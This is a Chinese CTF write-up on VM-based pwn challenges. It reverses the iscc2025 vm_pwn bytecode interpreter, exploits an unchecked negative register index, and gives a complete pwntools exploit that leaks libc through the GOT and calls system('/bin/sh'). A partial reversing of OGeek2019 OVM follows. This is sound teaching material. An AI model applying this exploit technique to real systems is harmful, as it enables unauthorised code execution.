vmpwn

基础知识

vmpwn常见设计

  • 初始化分配模拟寄存器空间
  • 初始化模拟栈空间
  • 初始化分配模拟数据存储(buffer)空间 (data段)
  • 初始化伪OPCODE空间 (text段)

常见流程

  • 输入opcode
  • 有一个分析器,循环分解我们输入的opcode来翻译出汇编指令,多为出入栈和调用寄存器
  • 一般漏洞都在越界写和越界读之类的。

几个寄存器需要了解:

  1. PC程序计数器,存放的是一个内存地址,该地址中存放着下一条要执行的计算机指令;
  2. SP指针寄存器,永远指向当前栈顶
  3. BP基址寄存器,用于指向栈的某些地址,在调用函数的时候会用到
  4. AX通用寄存器,用于存放一条指令执行后的结果

关于opcode

程序是怎么执行指令的?在编译的时候,编译器会将代码转化为汇编代码然后根据操作系统规定的规则进行机器码的一一对应置换,操作系统通过识别机器码去执行对应的操作。比如说随便取一个程序的一段汇编:

1
2
3
4
5
.text:00000000000007DA                 mov     edx, 64h ; 'd'  ; nbytes
.text:00000000000007DF lea rsi, buf ; buf
.text:00000000000007E6 mov edi, 0 ; fd
.text:00000000000007EB mov eax, 0
.text:00000000000007F0 call _read

在Hex View-1窗口中看到的视图是这样的

1
2
3
00000000000007D0  00 00 48 89 C7 E8 96 FE  FF FF BA 64 00 00 00 48  ..H........d...H
00000000000007E0 8D 35 5A 08 20 00 BF 00 00 00 00 B8 00 00 00 00 .5Z. ...........
00000000000007F0 E8 5B FE FF FF 48 8D 35 B8 00 00 00 48 8D 3D 3D .....H.5....H.==

如果我们按照地址一一对应的话,就可以得到这样的对应关系:

1
2
3
4
5
BA 64 00 00 00            mov     edx, 64h
48 8D 35 5A 08 20 00 lea rsi, buf
BF 00 00 00 00 mov edi, 0
B8 00 00 00 00 mov eax, 0
E8 5B FE FF FF call _read

这样的机制同样是使用与vmpwn的程序中的,左侧的二进制码就可以称为opcode

还有就是vm程序在运行过程中输出字符串的时候,我们在编程的时候会有写像这样的代码:

1
printf("%d",buf);

buf中存储的是字符串的地址,这样来输出字符串,但是我们不能写成下面这样

1
printf("%d",'hello world!');

像这样的一个字符串按照编译的知识,它应该被存储在data段这样的数据存储区。

所以说我们在制作一个简单的VM,就需要具备一个程序应该有的一些结构和空间。比如:寄存器,栈,缓冲区域等。我们可以根据自己喜欢的方式来写属于自己的函数调用约定,写自己喜欢的存储方式。那么总结一下vm就是利用编写程序来实现模拟寄存器、stack、数据缓冲区来实现执行自己定义的虚拟指令(可能不太准确。

vmpwn大概就是利用程序规定的虚拟指令,来利用程序中的漏洞。

下面看几个名词解释:

虚拟机保护技术:所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。

VStartVM:虚拟机的入口函数,对虚拟机环境进行初始化。

VMDispather:解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环。

opcode:程序可执行代码转换成的操作码。

实践

[iscc2025擂台]vm_pwn

开逆:

main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
heap = malloc(0x1000uLL); // 0x4090
sp_ = malloc(0x1000uLL); // 0x40a0
bp_ = sp_ + 0x8000; // 0x4088 = 0x40a0 + 0x8000
printf("Enter bytecode: ");
ax_ = read(0, heap, 0x1000uLL); // 0x4098
execute(reg); // array_header = 0x4060
free(heap);
free(sp_);
return 0LL;
}

heap,sp_,bp,reg,execute 都是经过重命名后的(一些命名可能不太准确)

重点:这个vmpwn让输入的是字节流,如b'\x01'b'\x01\xf5\x01'这个也就是opcode代码

1
2
|	op	  |  	src		|	dest	|
| \x01 | \xf5 | \x01 |

看一下bss段内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.bss:0000000000004040 ; FILE *stderr
.bss:0000000000004040 stderr dq ? ; DATA XREF: LOAD:0000000000000588↑o
.bss:0000000000004040 ; push+4C↑r ...
.bss:0000000000004040 ; Copy of shared data
.bss:0000000000004048 byte_4048 db ? ; DATA XREF: sub_1220+4↑r
.bss:0000000000004048 ; sub_1220+2C↑w
.bss:0000000000004049 align 20h
.bss:0000000000004060 ; _QWORD reg[5]
.bss:0000000000004060 reg dq 5 dup(?) ; DATA XREF: main+DB↑o
.bss:0000000000004088 bp_ dq ? ; DATA XREF: main+A4↑w
.bss:0000000000004090 ; void *heap
.bss:0000000000004090 heap dq ? ; DATA XREF: main+7F↑w
.bss:0000000000004090 ; main+BC↑r ...
.bss:0000000000004098 ax_ dd ? ; DATA XREF: main+D5↑w
.bss:000000000000409C align 20h
.bss:00000000000040A0 ; void *sp_
.bss:00000000000040A0 sp_ dq ? ; DATA XREF: main+90↑w
.bss:00000000000040A0 ; main+97↑r ...
.bss:00000000000040A0 _bss ends
.bss:00000000000040A0

这个heap模拟的是内存,应该是栈内存

fetch_opcode()

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall fetch_opcode(__int64 reg)
{
__int64 v1; // rsi
__int64 pc; // rax

v1 = *(reg + 0x30); // reg+0x30 = 0x4090-->heap
pc = *(reg + 0x20); // pc
*(reg + 0x20) = pc + 1; // pc++
return *(v1 + pc); // heap[pc]
}

这个函数的作用就是一次取一字节的opcode

fetch_next_qword()

1
2
3
4
5
6
7
8
__int64 __fastcall sub_132C(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h]

v2 = *(*(a1 + 0x30) + *(a1 + 0x20)); // heap[pc]
*(a1 + 0x20) += 8LL; // pc = pc+8
return v2; // heap[pc]
}

读取一个8字节数据,在程序中

push()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall sub_1393(__int64 a1, __int64 a2)
{
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
*(a1 + 40) -= 8LL; // sp = sp-8
if ( *(a1 + 40) < *(a1 + 64) ) // sp < bp
{
fwrite("Stack underflow!\n", 1uLL, 0x11uLL, stderr);
exit(1);
}
**(a1 + 40) = a2; // *sp = a2
return __readfsqword(0x28u) ^ v3;
}

这个函数中首先栈顶指针sp -= 8就说明了它是入栈操作,还将a2赋给了sp指向的地址

pop()

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall pop(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h]

if ( *(a1 + 40) >= (*(a1 + 64) + 0x8000LL) )
{
fwrite("Stack overflow!\n", 1uLL, 0x10uLL, stderr);
exit(1);
}
v2 = **(a1 + 40);
*(a1 + 40) += 8LL;
return v2;
}

与上面push()相反就是出战喽

execute()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
v15 = __readfsqword(0x28u);
while ( 1 )
{
opcode = fetch_opcode(reg); // 从内存中取出opcode的第一个op,op1
switch ( opcode )
{ // mov 数组溢出
case 0u:
v13 = fetch_opcode(reg);
reg[v13] = fetch_next_qword(reg); // mov reg,num
break;
case 1u:
v12 = fetch_opcode(reg); //取出opcode中第二个op,op2
reg[fetch_opcode(reg)] = *reg[v12]; //reg[op3] = *op2将op2指向的内存赋值给reg[op3]
break; //推断:mov reg,[mem]
case 2u:
v11 = fetch_opcode(reg);
*reg[fetch_opcode(reg)] = reg[v11]; //*reg[op3] = reg[op2]
break; //mov [mem],reg
case 3u:
v10 = fetch_opcode(reg);
reg[fetch_opcode(reg)] = reg[v10]; //reg[op3] = reg[op2]
break; //mov reg,reg
case 4u:
v1 = reg[6]; // reg[6]=heap_ptr
v2 = reg[4]; // pc
reg[4] = v2 + 1; // pc++
push(reg, reg[*(v1 + v2)]); // push reg[heap_ptr+pc] ---> push
break;
case 5u:
v3 = reg[6];
v4 = reg[4];
reg[4] = v4 + 1; // pc++
v5 = *(v3 + v4);
reg[v5] = pop(reg); // pop reg[heap_ptr+pc] ---> pop
break;
case 6u:
v14 = reg[fetch_opcode(reg)]; // 这里取得是opcode的第三个字节op3
v14(*reg); // call--->op3(reg[0])函数调用
break;
case 7u:
reg[4] = pop(reg); // pop pc ---> ret
break;
case 8u: // exit
return __readfsqword(0x28u) ^ v15;
case 9u: // nop
continue;
case 0xAu: // add
v9 = fetch_opcode(reg); // op2
reg[v9] += fetch_next_qword(reg); // reg[op2] = reg[op2] + num
break;
case 0xBu: // sub
v8 = fetch_opcode(reg);
reg[v8] -= fetch_next_qword(reg); // reg[op2] = reg[op2] - num
break;
default:
fprintf(stderr, "Invalid opcode: 0x%02x\n", opcode);
exit(1);

因此推出指令集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
'''
\x00: mov reg[op2],num ---> heap_ptr+pc
\x01: mov reg[op3],[mem]--->*reg[op2]
\x02: mov [mem]--->*reg[op3],reg[op2]
\x03: mov reg[op3],reg[op2]
\x04: push
\x05: pop
\x06: call--->op3(reg[0])函数调用
\x07: ret ---> pop ip
\x08: exit
\x09: nop
\x0a: add reg[op2],num
\x0b: sub reg[op2],num
op2均为src,op3均为dst
'''

漏洞点与其他的vm题类似,这个数组是一个有符号的数组(通过下面movzx看出),在\x01和\x02是有数组溢出

1
2
3
4
5
6
7
8
9
.text:00000000000017B1 def_152F:                               ; CODE XREF: execute+36↑j
.text:00000000000017B1 movzx edx, [rbp+opcode] ; jumptable 000000000000152F default case
.text:00000000000017B5 mov rax, cs:stderr
.text:00000000000017BC lea rsi, format ; "Invalid opcode: 0x%02x\n"
.text:00000000000017C3 mov rdi, rax ; stream
.text:00000000000017C6 mov eax, 0
.text:00000000000017CB call _fprintf
.text:00000000000017D0 mov edi, 1 ; status
.text:00000000000017D5 call _exit

而且我们可以发现程序对数组的下标是没有任何检查的,因此我们可以通过负数的下标来读取got表内容,我们可以操作的内存有reg[0]~reg[3]

思路:

  • 通过数组溢出读取got表的地址,因为got表不可写,所以我们通过got附近的地址-offest直接计算出malloc的got地址
  • 用可操纵的内存计算libc_base并分别将/bin/sh\x00放入reg[0],system放入reg[2]
  • 直接通过call调用即可getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-05-02 17:17:51
from pwn import *
import struct
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote("101.200.155.151", 20000)
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
# gdb.attach(p,gdbscript)
gdbscript = '''
b *$rebase(0x14F3)\nb *$rebase(0x15ac)
'''
s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

'''
\x00: mov reg[op2],num ---> heap_ptr+pc
\x01: mov reg[op3],[mem]--->*reg[op2]
\x02: mov [mem]--->*reg[op3],reg[op2]
\x03: mov reg[op3],reg[op2]
\x04: push
\x05: pop
\x06: call--->op3(reg[0])函数调用
\x07: ret ---> pop ip
\x08: exit
\x09: nop
\x0a: add reg[op2],num
\x0b: sub reg[op2],num
op2均为src,op3均为dst
'''
# \x00
def load_num(reg, num):
return struct.pack("<bbQ", 0, reg, num)

# \x01
def load_indirect(src_reg, dst_reg):
return struct.pack("<bbb", 1, src_reg, dst_reg)

# \x02
def store_indirect(src_reg, dst_reg):
return struct.pack("<bbb", 2, src_reg, dst_reg)

# \x03
def mov_reg(src_reg, dst_reg):
return struct.pack("<bbb", 3, src_reg, dst_reg)

# \x04: push
def push(reg):
return struct.pack("<bB", 4, reg)

# \x05: pop
def pop(reg):
return struct.pack("<bB", 5, reg)

# \x06: call
def func_call(reg):
return struct.pack("<bB", 6, reg)

# \x08: exit
def exit_vm():
return struct.pack("b", 8)

# \x0a: add
def add_num(reg, num):
return struct.pack("<bbQ", 0xA, reg, num)#num要用做地址计算,用8字节类型

# \x0b: sub
def sub_num(reg, num):
return struct.pack("<bbQ", 0xB, reg, num)

#先获得data段0x4008的地址此处指向是base+0x4008,可以间接计算got
payload = load_indirect(-11, 1) + sub_num(1, 0x50) + load_indirect(1, 0) + sub_num(0, libc.sym["malloc"]) + mov_reg(0, 2)
payload += add_num(2, libc.sym["system"]) + add_num(0, next(libc.search("/bin/sh\x00"))) + func_call(2)
#payload += exit_vm()
#debug("b *$rebase(0x14F3)\nb *$rebase(0x15ac)")
sla("bytecode: ", payload)

itr()

[OGeek2019 Final]OVM

在buuctf中有该题目

逆向

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int16 pc; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int16 sp_; // [rsp+6h] [rbp-Ah] BYREF
unsigned int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

comment = malloc(0x8CuLL);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(2, signal_handler);
write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
write(1, "PC: ", 4uLL); // 输入pc寄存器值
_isoc99_scanf("%hd", &pc); // %hd 主要用于 short int 类型的输入输出,16位
getchar();
write(1, "SP: ", 4uLL); // 输入sp寄存器值
_isoc99_scanf("%hd", &sp_);
getchar();
reg[13] = sp_; // 把sp和pc分别存到寄存器数组的13号和15号位置
reg[15] = pc;
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &v4);
getchar();
if ( sp_ + (unsigned int)v4 > 0x10000 || !v4 )
{ // 检查sp+code_size不能超过0x10000(64K),且code_size不能为0,否则异常退出。
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; v4 > i; ++i )
{
_isoc99_scanf("%d", &memory[pc + i]); //memory--->opcode
if ( (memory[i + pc] & 0xFF000000) == 0xFF000000 )
memory[i + pc] = 0xE0000000; // 如果指令高8位为0xFF(即0xFFxxxxxx),则强制改为0xE0000000
getchar();
}
while ( running )
{
v7 = fetch();
execute(v7);
}
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment, 0x8CuLL);
sendcomment(comment); // free()
write(1, "Bye\n", 4uLL);
return 0;
}

fetch()

返回当前指令之后,跳转到下一条指令。

1
2
3
4
5
6
7
8
__int64 fetch()
{
int v0; // eax

v0 = reg[15];
reg[15] = v0 + 1;
return (unsigned int)memory[v0];
}

作用:

  • 取出当前PC(reg[15])指向的指令(memory[v0]),然后PC自增1。

  • 返回该指令。

execute()

执行函数的逆向才是VMPWN的核心。

我们先了解几个宏函数:

1
2
3
4
#define LOWORD(l)           ((WORD)(((DWORD_PTR)(l)) & 0xffff))
#define HIWORD(l)           ((WORD)((((DWORD_PTR)(l)) >> 16) & 0xffff))
#define LOBYTE(w)           ((BYTE)(((DWORD_PTR)(w)) & 0xff))
#define HIBYTE(w)           ((BYTE)((((DWORD_PTR)(w)) >> 8) & 0xff))